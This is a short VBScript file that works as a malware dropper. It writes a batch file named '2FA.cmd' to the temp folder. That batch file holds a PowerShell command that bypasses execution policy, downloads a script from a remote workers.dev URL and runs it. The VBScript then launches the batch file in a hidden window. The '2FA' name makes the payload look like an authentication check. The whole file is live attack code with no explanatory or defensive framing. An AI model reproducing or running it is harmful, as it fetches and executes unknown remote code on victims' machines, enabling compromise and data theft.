Set fso = CreateObject("Scripting.FileSystemObject")

path = fso.GetSpecialFolder(2) + "\2FA.cmd" ' 2 = TemporaryFolder

Set file = fso.CreateTextFile(path, True)
file.WriteLine "powershell -ep bypass -c ""& ([scriptblock]::Create((irm https://check.mcsq.workers.dev/p/20)))"""
file.Close

Set sh = CreateObject("Shell.Application")

sh.ShellExecute path, "", "", "open", 0